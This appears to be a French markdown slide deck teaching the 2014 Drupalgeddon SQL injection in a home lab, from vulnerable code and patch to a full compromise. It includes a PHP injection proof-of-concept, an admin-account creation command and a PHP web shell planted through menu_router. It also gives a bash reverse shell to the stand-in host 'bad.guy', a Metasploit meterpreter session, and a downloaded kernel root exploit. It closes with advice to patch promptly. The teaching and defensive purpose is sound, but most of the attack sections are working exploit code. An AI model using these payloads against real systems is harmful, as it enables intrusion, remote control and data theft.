-
Vincent Mazenod authoredVincent Mazenod authored
- Drupalgeddon
- système vulnérable
- Drupal vulnérable
- Trouver un système vulnérable sur le www
- Trouver un système vulnérable sur le www
- La faille
- La faille
- La faille
- Timeline grand publique
- Timeline côté attaquant
- Exploitation manuelle
- PoC
- Admin user
- Backdoor
- Backdoor
- exploitation
- exploitation
- metasploit
- escalade de privilèges
- W00T
- Moralité
drupalgeddon.md 9.48 KiB
Drupalgeddon
système vulnérable
- Wheezy Debian 7.0.0 – amd64 – netinst
- paramèter le réseau DYI - My Security Lab
- le couper juste après la conf du DHCP à l'install
- à l'installation
- surtout pas d'upgrade pour garder un kernel vulnérable
- paramèter le réseau DYI - My Security Lab
Nous disposons d'une machine vulnérable à un
Drupal vulnérable
- drupal 7.X < 7.32 déployé, configuré selon la doc
$ HTTPDUSER=`ps axo user,comm | grep -E '[a]pache|[h]ttpd|[_]www|[w]ww-data|[n]ginx' | grep -v root | head -1 | cut -d\ -f1`
$ chown -R $HTTPDUSER sites/default/files
$ chmod -R 0700 sites/default/files
- les images ova sont là
Trouver un système vulnérable sur le www
Trouver un système vulnérable sur le www
- ne filtrer que les drupal vulnérables
$ python cmsmap.py -t http://drup.al
...
[H] Drupal Vulnerable to SA-CORE-2014-005
...
La faille
-
Drupalgeddon - SA-CORE-2014-005 - Drupal core - SQL injection
- Version: 7.x < 7.32
- Date: 2014-October-15
- Security risk: 25/25 ( Highly Critical)
La faille
includes/database/database.inc ligne 738
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
foreach ($data as $i => $value) {
$new_keys[$key . '_' . $i] = $value
}
}
- $i est un index de tableau de variables HTTP
- les valeurs des clés de $new_keys sont utilisées comme paramètres d'une requête SQL plus loin
- il y a donc possibilité d'injecter du code SQL dans les clés des paramètres HTTP
La faille
includes/database/database.inc ligne 738
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
/* patched version begin */
foreach (array_values($data) as $i => $value) {
/* patched version end */
$new_keys[$key . '_' . $i] = $value
}
}
- array_values() retourne les valeurs du tableau array et l'indexe de facon numérique
Note:
- combien de dev PHP?
- combien utilisent array_values()
- forcer le type des paramètres est une bonne option
- debugging et dump variable à creuser
- code drupal compliqué ou mal fait
Timeline grand publique
- 16 sept. 2014 : notification à Drupal
- 15 oct. 2014 : publication du correctif
- 29 oct. 2014 : communication de Drupal (PSA-2014-003)
- 3 nov. 2014 : release de deux exploits publiques
Timeline côté attaquant
- 16 sept. 2014 : notification à Drupal
- 15 oct. 2014 : publication du correctif
- 15 oct. 2014, 4h après : exploitations en cours…
- 16 oct. 2014 : de très nombreux Drupal compromis…
Exploitation manuelle
remplacer
<input id="edit-name" name="name" type="text">
par
<input name="name[0; DELETE FROM flood;;# ]" type="text" value="test3" />
<input name="name[0]" type="text" value="test" />
Note:
- mettre un mot de passe
PoC
$url = $argv[1];
$sql = $argv[2];
$sql = str_replace('{', '\' , CHAR(123), \'', $sql);
$sql = str_replace('}', '\' , CHAR(125), \'', $sql);
$sql = str_replace('[', '\' , CHAR(91), \'', $sql);
$sql = str_replace(']', '\' , CHAR(93), \'', $sql);
$sql = urlencode($sql);
//Send a request to the user login form
$post_data = "name[0%20;".$sql.";;#%20%20]=test3&name[0]=test&pass=test";
$post_data .= "&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', 1, $ctx);
$ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood'
Admin user
python2 drup4l_7_31_SqlInj_add_admin.py -t http://drup.al -u 1337 -p 1337
- représente 26% d'utilisation de la faille
- industrialisé pour vendre du viagra
Backdoor
rerésente 68% des attaques
Simple backdoor shell
$malicious_file_to_upload = '<?php
if(isset($_REQUEST["cmd"])){
echo "<pre>";
passthru($_REQUEST["cmd"]);
die;
}
phpinfo();';
-
Sexy backdoor http://www.r57shell.net/shell/c99.txt
Backdoor
- Architecture Drupal
- menu_router
- un url = un callback + un tableau d'arguments sérialisés
- menu_router
insert into menu_router values ('backdoor','','','file_put_contents',
$attack_payload, '','','',0,0,0,'','','','','','','',0,'hacked','',0,'');
Payload
$attack_payload = array('sites/default/files/backdoor.php', $malicious_file_to_upload);
$attack_payload = serialize($attack_payload);
Note:
- bien entendu on appelle pas ça backdoor
- en réalité l'exploit de Matt Korostoff marche avec un cookie
- deux ou trois échappement sont nécessaire
- même pas besoin créer le compte admin hein ...
- automatisable à souhait
exploitation
$ php attack/exploit.php 'http://drup.al'
-
http://drup.al/sites/default/files/backdoor.php
- affiche phpinfo()
-
http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../settings.php
- affiche les paramètres SQL
exploitation
nc -lvvp 1337
met le poste de l'attaquant en écoute sur le port 1337
http://drup.al/sites/default/files/backdoor.php?
cmd=urlencode(bash -c 'bash -i >& /dev/tcp/bad.guy/1337 0>&1 ; bash');
en version encodée
http://drup.al/sites/default/files/backdoor.php?
cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fbad.guy%2F1337+0%3E%261+%3B+bash%27%0D%0
- connecte le serveur sur l'IP de l'attaquant
Note:
- discuter Bind VS Reverse shell
- Bind shell improbable
- ICMP Reverse Shell passe par le protocole ICMP
- analyse des ping wireshark
-
Bypassing corporate firewall with reverse ssh port forwarding
- sur ma maquette ca marche aussi sur le port 80 ...
metasploit
msf > use exploit/multi/http/drupal_drupageddon
msf exploit(drupal_drupageddon) > set RHOST drup.al
msf exploit(drupal_drupageddon) > set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(drupal_drupageddon) > set LHOST bad.guy
msf exploit(drupal_drupageddon) > exploit
[✳] Started reverse handler on 172.16.76.145:4444
meterpreter > shell
whoami
www-data
Note:
- l'autocomplétion avec tabulation
- Port à rerouter of course
escalade de privilèges
-
Local root exploit
- environ tous les 2 ans
- fonctionne sur les archi 64bits uniquement
- kernel de 2.6.37 à 3.8.10
$ # www.tux-planet.fr/public/hack/exploits/kernel/semtex.c is dead
$ wget https://raw.githubusercontent.com/realtalk/cve-2013-2094/master/semtex.c
$ gcc -O2 semtex.c
$ ./a.out
$ whoami
W00T
Moralité
- un malheur n'arrive jamais seul
- tout doit être à jour
- système, lib, cms, services, ...
- mieux vaut s'appuyer sur des communautés
- réactives
- préoccupées par la sécurité
- bien suivre les mises à jour des produits
- et patcher asap quand nécessaire